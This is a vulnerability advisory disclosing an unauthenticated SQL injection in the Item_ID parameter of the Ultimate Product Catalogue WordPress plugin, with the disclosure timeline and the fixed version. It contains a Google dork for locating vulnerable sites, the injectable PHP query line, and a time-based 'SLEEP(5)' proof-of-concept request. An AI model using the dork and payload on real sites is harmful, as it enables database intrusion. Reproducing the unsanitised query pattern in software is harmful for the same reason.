WordPress Plugin Ultimate Product Catalogue - SQL Injection (1)

# Exploit Title: Unauthenticated SQLi in Item_ID POST parameter on Ultimate
Product Catalogue wordpress plugin
# Google Dork: inurl:"SingleProduct" intext:"Back to catalogue"
intext:"Category",
inurl:"/wp-content/plugins/ultimate-product-catalogue/product-sheets/"
# Date: 22/04/2015
# Exploit Author: Felipe Molina de la Torre (@felmoltor)
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/
# Software Link:
https://downloads.wordpress.org/plugin/ultimate-product-catalogue.3.1.2.zip
# Version: < 3.1.2, Comunicated and Fixed by the Vendor in 3.1.3
# Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache
2.4.0 (Ubuntu)
# CVE : Requested to mitre but not assigned yet
# Category: webapps

1. Summary:

    Ultimate Product Catalogue is a responsive and easily customizable
plugin for all your product catalogue needs. It has +59.000 downloads,
+3.000 active installations.

    Unauthenticated SQL injection in ajax call when the plugin is counting
the times a product is being seen by the web visitors. The vulnerable POST
parameter is "Item_ID".

2. Vulnerability timeline:
- 22/04/2015: Identified in version 3.1.2
- 22/04/2015: Comunicated to developer company etoilewebdesign.com
- 22/04/2015: Response from etoilewebdesign.com and fixed version in 3.1.3
3. Vulnerable code:

    In file Functions/Process_Ajax.php line 67:
 [...]
$Item_ID = $_POST['Item_ID'];
        $Item = $wpdb->get_row("SELECT Item_Views FROM $items_table_name
WHERE Item_ID=" . $Item_ID);
[...]

3. Proof of concept:

    POST /wp-admin/admin-ajax.php HTTP/1.1
  Host: <wordpress host>
  [...]
  Cookie: wordpress_f305[...]

  Item_ID=2 AND SLEEP(5)&action=record_view

4. Solution:

    Update to version 3.1.3